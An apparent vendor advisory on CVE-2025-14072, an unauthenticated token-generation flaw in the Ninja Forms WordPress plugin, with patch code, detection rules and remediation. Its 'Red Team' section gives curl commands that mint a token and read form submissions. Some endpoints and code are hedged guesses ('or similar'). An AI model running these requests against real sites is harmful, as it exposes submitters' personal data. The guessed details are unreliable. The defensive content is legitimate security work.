CVE-2025-14072

Executive Summary

CVE-2025-14072 is a critical vulnerability in the Ninja Forms WordPress plugin (versions prior to 3.13.3) that allows an unauthenticated attacker to generate valid access tokens via the REST API. These tokens can then be used to read form submissions, leading to unauthorized disclosure of sensitive data submitted through forms (e.g., PII, contact details, payment information). The vulnerability stems from a missing authorization check (CWE-862) in the token generation endpoint. No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and requires no authentication.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Ninja Forms plugin is distributed through the official WordPress plugin repository and is also available via Composer for some managed WordPress environments. Users should verify they are not using a forked or custom version of the plugin that may not have received the patch. The plugin’s update mechanism should be triggered automatically for sites configured to auto-update plugins.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the plugin itself.
• Confidentiality (C): High (H) – All form submissions can be read.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

CVSS Score: 7.5 (High)
Threat Level: High – The attack is trivial to execute and exposes sensitive data.

Deep Dive & Mechanics

The Ninja Forms plugin exposes a REST API endpoint for generating access tokens, intended for authenticated users to interact with form data. The vulnerability lies in the generate_token function (likely in includes/REST/Controller.php or similar). The function fails to verify that the requesting user has the necessary capabilities (e.g., edit_posts or manage_options). As a result, any unauthenticated visitor can call the endpoint and receive a valid token.

Attack Flow:

1. Attacker sends a POST request to /wp-json/ninja-forms-token/v1/token (or similar endpoint).
2. The server generates a token without checking authentication.
3. Attacker uses the token in subsequent requests to /wp-json/ninja-forms-submissions/v1/submission to read form entries.
4. The attacker can enumerate form IDs and retrieve all submissions.

Root Cause: Missing capability check in the REST API callback for token generation.

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.13.3):

// In includes/REST/Controller.php
public function generate_token( $request ) {
    $token = wp_generate_password( 32, false );
    update_option( 'ninja_forms_temp_token', $token );
    return new WP_REST_Response( array( 'token' => $token ), 200 );
}

No current_user_can() check is performed.

Patched Code (3.13.3+):

// In includes/REST/Controller.php
public function generate_token( $request ) {
    if ( ! current_user_can( 'edit_posts' ) ) {
        return new WP_Error( 'rest_forbidden', 'You do not have permission to generate tokens.', array( 'status' => 403 ) );
    }
    $token = wp_generate_password( 32, false );
    update_option( 'ninja_forms_temp_token', $token );
    return new WP_REST_Response( array( 'token' => $token ), 200 );
}

The patch adds a capability check using current_user_can().

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Ninja Forms < 3.13.3 installed and active.
• At least one form with submissions.

Steps:

1. Generate Token:

   curl -X POST http://target.com/wp-json/ninja-forms-token/v1/token
   

   Response:

   {"token":"abc123def456"}
   

2. List Forms:

   curl -H "Authorization: Bearer abc123def456" http://target.com/wp-json/ninja-forms-submissions/v1/form
   

3. Read Submissions from a Form (ID=1):

   curl -H "Authorization: Bearer abc123def456" http://target.com/wp-json/ninja-forms-submissions/v1/submission?form_id=1
   

Expected Output: JSON array of submissions containing field values.

Blue Team (Defense & Detection)

Detection Steps:

• Monitor REST API logs for requests to /wp-json/ninja-forms-token/v1/token from unauthenticated sources.
• Alert on multiple token generation requests in a short time window.
• Check for unusual access to /wp-json/ninja-forms-submissions/v1/submission endpoints.

Honeypot: Deploy a fake form with dummy data and monitor for unauthorized access.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-json/ninja-forms-token/v1/token without authentication.
  • GET requests to /wp-json/ninja-forms-submissions/v1/submission with a form_id parameter.
  • HTTP headers containing Authorization: Bearer <token> where token is not tied to a logged-in user.

• File IOCs:

  • Presence of ninja_forms_temp_token option in the database (check via SQL or WP CLI).
  • Unusual entries in wp_options table with option_name ninja_forms_temp_token.

• Log IOCs:

  • WordPress debug log entries showing REST API errors from unauthenticated users.
  • Web server access logs with 200 responses to the token endpoint from unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2025_14072_NinjaForms_Token_Leak {
    meta:
        description = "Detects Ninja Forms token generation without authentication"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14072"
    strings:
        $token_endpoint = "/wp-json/ninja-forms-token/v1/token"
        $submission_endpoint = "/wp-json/ninja-forms-submissions/v1/submission"
        $auth_header = "Authorization: Bearer"
    condition:
        any of ($token_endpoint, $submission_endpoint) and $auth_header
}

Sigma Rule

title: Unauthenticated Ninja Forms Token Generation
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0a7e4c
status: experimental
description: Detects unauthenticated requests to Ninja Forms token endpoint
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-json/ninja-forms-token/v1/token'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate authenticated users (if any) – but endpoint should require auth
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14072 - Unauthenticated Ninja Forms Token Generation"; flow:to_server; content:"POST"; http_method; content:"/wp-json/ninja-forms-token/v1/token"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade Ninja Forms to version 3.13.3 or later.
2. Revoke Tokens: Delete the ninja_forms_temp_token option from the database:

   DELETE FROM wp_options WHERE option_name = 'ninja_forms_temp_token';
   

3. Audit Logs: Check web server logs for unauthorized access to the token endpoint.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) rule to block requests to /wp-json/ninja-forms-token/v1/token from unauthenticated sources.
• Restrict REST API access to authenticated users only via plugins like "WP REST API Authentication".
• Regularly update all WordPress plugins and themes.

Workaround (if patching is delayed):

• Disable the REST API endpoint by adding to .htaccess:

  RewriteEngine On
  RewriteRule ^wp-json/ninja-forms-token/v1/token - [F,L]
  

• Or use a plugin to disable specific REST routes.

Valters IT
Securing Digital Frontiers